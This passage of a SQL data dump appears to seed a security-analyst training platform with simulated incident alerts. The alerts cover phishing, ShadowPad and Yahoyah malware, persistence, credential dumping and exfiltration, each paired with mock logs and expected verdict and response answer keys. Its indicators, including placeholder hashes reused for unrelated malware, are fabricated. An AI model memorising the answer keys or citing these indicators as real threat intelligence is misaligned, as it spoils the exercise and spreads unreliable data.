servers\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Yahoyah malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Infiltration Detected\",\"date\":\"2026-02-08T19:00:02.575Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1241, 'Malware Execution on Compromised Systems', 'high', 'Endpoint Detection and Response (EDR) System', 'The Yahoyah malware was executed following a successful phishing attack, establishing a foothold on the victim system. This execution allows attackers to maintain control and initiate further espionage activities.', 'Malware Execution', 'T1059: Command and Scripting Interpreter', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"5678\",\"event_type\":\"malware_execution\",\"host_ip\":\"10.0.0.25\",\"host_name\":\"compromised-host\",\"username\":\"victim_user\",\"file_path\":\"C:\\\\Users\\\\victim_user\\\\AppData\\\\Roaming\\\\yahoyah.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"192.168.1.5\",\"external_ip\":\"203.0.113.10\",\"command_line\":\"C:\\\\Users\\\\victim_user\\\\AppData\\\\Roaming\\\\yahoyah.exe\",\"process_id\":1234,\"parent_process\":\"explorer.exe\"}', '2026-02-07 21:48:09', '2026-02-19 15:45:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches Yahoyah malware signature\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"yahoyah.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with spyware activities\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"victim_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account on the compromised host\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1242, 'Data Exfiltration Detected via Unusual Network Traffic', 'high', 'Network Traffic Analysis', 'In the final phase of the operation, unusual outbound network traffic was detected originating from an internal host (192.168.1.105) towards an external IP (203.0.113.55). The data packets identified were large and encrypted, suggesting potential exfiltration of sensitive data. The files transferred included classified documents under the guise of normal traffic. The external IP is associated with known APT group infrastructure.', 'Data Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.55\",\"protocol\":\"HTTPS\",\"file_hash\":\"bcf5a4e2b3b5c3c9d1f2f3a4b5c6d7e8\",\"filename\":\"classified_docs.zip\",\"user\":\"jdoe\",\"data_size\":\"350MB\",\"action\":\"ALLOW\",\"indicator\":\"High volume encrypted traffic to suspicious IP\"}', '2026-02-07 21:48:09', '2026-02-19 15:46:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal host suspected of data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"bcf5a4e2b3b5c3c9d1f2f3a4b5c6d7e8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with anomalous file transmissions.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"classified_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive content.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Corporate Directory\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1243, 'Initial Access via Phishing Email', 'medium', 'Email Gateway Logs', 'A spear-phishing email was detected attempting to compromise user credentials. The email contained a malicious attachment and was sent from a known malicious IP address linked to Earth Lusca. The operation is believed to be in its initial phase.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:22:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"sender_email\":\"attacker@example.com\",\"recipient_email\":\"victim@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"Invoice_2023.pdf\",\"attachment_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"user\":\"jdoe\",\"event_id\":\"EVT-89231\"}', '2026-02-07 21:48:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Threat Database\",\"verdict\":\"malicious\",\"details\":\"Email address used in previous phishing attacks by Earth Lusca.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious PDF used in phishing.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Filename format used in previous phishing attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Company user potentially targeted.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-08T19:00:02.577Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1244, 'Execution of ShadowPad Backdoor', 'high', 'Endpoint Detection and Response (EDR) Systems', 'The ShadowPad backdoor was executed on a compromised host, establishing a command and control channel. This indicates a successful second stage of the attack following initial phishing tactics.', 'Malware Execution', 'T1219 - Remote Access Software', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_type\":\"process_creation\",\"host_ip\":\"192.168.1.45\",\"username\":\"jdoe\",\"process_name\":\"svchost.exe\",\"process_command_line\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"malware_filename\":\"ShadowPad.dll\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.10\",\"destination_port\":443,\"network_protocol\":\"HTTPS\",\"suspicious_domain\":\"malicious-update.com\"}', '2026-02-07 21:48:51', '2026-02-19 04:03:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with ShadowPad.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the ShadowPad DLL file.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"domain_reputation\",\"verdict\":\"malicious\",\"details\":\"Domain used for C2 communication by ShadowPad.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ShadowPad.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Filename associated with ShadowPad malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1245, 'Persistence via Scheduled Task', 'medium', 'Windows Task Scheduler Logs', 'Earth Lusca has set up a scheduled task to maintain persistence by re-establishing the ShadowPad connection after system reboots.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"EventID\":\"4698\",\"EventType\":\"Information\",\"TimeCreated\":\"2023-10-01T14:32:00Z\",\"Computer\":\"victim-pc.local\",\"TaskName\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\ShadowPadReconnect\",\"TaskContent\":{\"Author\":\"SYSTEM\",\"TaskToRun\":\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\ProgramData\\\\ShadowPad\\\\spad.dll,Run\",\"RunAsUser\":\"NT AUTHORITY\\\\SYSTEM\",\"LogonType\":\"Password\",\"Trigger\":\"At system startup\",\"ExternalIP\":\"203.0.113.45\",\"InternalIP\":\"192.168.1.101\",\"MalwareHash\":\"c3fcd3d76192e4007dfb496cca67e13b\",\"CreatedByUser\":\"attacker@maliciousdomain.com\"}}', '2026-02-07 21:48:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with Earth Lusca command and control servers\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetworkScan\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"c3fcd3d76192e4007dfb496cca67e13b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash recognized as part of ShadowPad malware\"}},{\"id\":\"artifact_5\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Email linked to Earth Lusca phishing campaigns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.582Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":\\\"4698\\\",\\\"EventType\\\":\\\"Information\\\",\\\"TimeCreated\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"Computer\\\":\\\"victim-pc.local\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\ShadowPadReconnect\\\",\\\"TaskContent\\\":{\\\"Author\\\":\\\"SYSTEM\\\",\\\"TaskToRun\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\ProgramData\\\\\\\\ShadowPad\\\\\\\\spad.dll,Run\\\",\\\"RunAsUser\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"LogonType\\\":\\\"Password\\\",\\\"Trigger\\\":\\\"At system startup\\\",\\\"ExternalIP\\\":\\\"203.0.113.45\\\",\\\"InternalIP\\\":\\\"192.168.1.101\\\",\\\"MalwareHash\\\":\\\"c3fcd3d76192e4007dfb496cca67e13b\\\",\\\"CreatedByUser\\\":\\\"attacker@maliciousdomain.com\\\"}}\"},{\"timestamp\":\"2026-02-08T18:59:02.582Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":\\\"4698\\\",\\\"EventType\\\":\\\"Information\\\",\\\"TimeCreated\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"Computer\\\":\\\"victim-pc.local\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\ShadowPadReconnect\\\",\\\"TaskContent\\\":{\\\"Author\\\":\\\"SYSTEM\\\",\\\"TaskToRun\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\ProgramData\\\\\\\\ShadowPad\\\\\\\\spad.dll,Run\\\",\\\"RunAsUser\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"LogonType\\\":\\\"Password\\\",\\\"Trigger\\\":\\\"At system startup\\\",\\\"ExternalIP\\\":\\\"203.0.113.45\\\",\\\"InternalIP\\\":\\\"192.168.1.101\\\",\\\"MalwareHash\\\":\\\"c3fcd3d76192e4007dfb496cca67e13b\\\",\\\"CreatedByUser\\\":\\\"attacker@maliciousdomain.com\\\"}}\"},{\"timestamp\":\"2026-02-08T18:58:02.582Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":\\\"4698\\\",\\\"EventType\\\":\\\"Information\\\",\\\"TimeCreated\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"Computer\\\":\\\"victim-pc.local\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\ShadowPadReconnect\\\",\\\"TaskContent\\\":{\\\"Author\\\":\\\"SYSTEM\\\",\\\"TaskToRun\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\ProgramData\\\\\\\\ShadowPad\\\\\\\\spad.dll,Run\\\",\\\"RunAsUser\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"LogonType\\\":\\\"Password\\\",\\\"Trigger\\\":\\\"At system startup\\\",\\\"ExternalIP\\\":\\\"203.0.113.45\\\",\\\"InternalIP\\\":\\\"192.168.1.101\\\",\\\"MalwareHash\\\":\\\"c3fcd3d76192e4007dfb496cca67e13b\\\",\\\"CreatedByUser\\\":\\\"attacker@maliciousdomain.com\\\"}}\"},{\"timestamp\":\"2026-02-08T18:57:02.582Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":\\\"4698\\\",\\\"EventType\\\":\\\"Information\\\",\\\"TimeCreated\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"Computer\\\":\\\"victim-pc.local\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\ShadowPadReconnect\\\",\\\"TaskContent\\\":{\\\"Author\\\":\\\"SYSTEM\\\",\\\"TaskToRun\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\ProgramData\\\\\\\\ShadowPad\\\\\\\\spad.dll,Run\\\",\\\"RunAsUser\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"LogonType\\\":\\\"Password\\\",\\\"Trigger\\\":\\\"At system startup\\\",\\\"ExternalIP\\\":\\\"203.0.113.45\\\",\\\"InternalIP\\\":\\\"192.168.1.101\\\",\\\"MalwareHash\\\":\\\"c3fcd3d76192e4007dfb496cca67e13b\\\",\\\"CreatedByUser\\\":\\\"attacker@maliciousdomain.com\\\"}}\"},{\"timestamp\":\"2026-02-08T18:56:02.582Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":\\\"4698\\\",\\\"EventType\\\":\\\"Information\\\",\\\"TimeCreated\\\":\\\"2023-10-01T14:32:00Z\\\",\\\"Computer\\\":\\\"victim-pc.local\\\",\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\ShadowPadReconnect\\\",\\\"TaskContent\\\":{\\\"Author\\\":\\\"SYSTEM\\\",\\\"TaskToRun\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\ProgramData\\\\\\\\ShadowPad\\\\\\\\spad.dll,Run\\\",\\\"RunAsUser\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"LogonType\\\":\\\"Password\\\",\\\"Trigger\\\":\\\"At system startup\\\",\\\"ExternalIP\\\":\\\"203.0.113.45\\\",\\\"InternalIP\\\":\\\"192.168.1.101\\\",\\\"MalwareHash\\\":\\\"c3fcd3d76192e4007dfb496cca67e13b\\\",\\\"CreatedByUser\\\":\\\"attacker@maliciousdomain.com\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1246, 'Lateral Movement with Cobalt Strike', 'high', 'Network Traffic Analysis', 'An unauthorized lateral movement attempt was detected within the network. The attackers employed Cobalt Strike to dump credentials and escalate privileges, aiming to expand access. This activity was identified through suspicious network traffic patterns.', 'Credential Dumping', 'T1003', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:22:36Z\",\"source_ip\":\"185.199.108.153\",\"destination_ip\":\"192.168.1.45\",\"protocol\":\"TCP\",\"source_port\":443,\"destination_port\":5985,\"username\":\"jdoe\",\"process_name\":\"mimikatz.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_type\":\"CredentialDumping\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\mimikatz.exe\"}', '2026-02-07 21:48:51', '2026-02-19 04:11:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known threat actor using Cobalt Strike.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal company asset.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with Mimikatz.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1247, 'Exfiltration of Sensitive Data', 'critical', 'Data Loss Prevention (DLP) Tools', 'In the final step of the operation, Earth Lusca exfiltrated sensitive governmental data to an external server. The data was transmitted via an unauthorized file transfer to a known malicious IP address.', 'Data Exfiltration', 'T1048 - Data Exfiltration Over Alternative Protocol', 1, 'closed', NULL, '{\"timestamp\":\"2023-10-15T13:45:00Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.1.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"file_name\":\"confidential_gov_data.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"dlp_policy\":\"Sensitive Data Exfiltration Policy\",\"action\":\"blocked\",\"alert_id\":\"ALERT-20231015-0001\"}', '2026-02-07 21:48:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous data exfiltration incidents.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_gov_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP Analysis\",\"verdict\":\"suspicious\",\"details\":\"File matches pattern of sensitive governmental data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"unknown\",\"details\":\"Newly observed hash not seen in previous databases.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Employee account involved in data transfer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.584Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"confidential_gov_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration Policy\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"ALERT-20231015-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.584Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"confidential_gov_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration 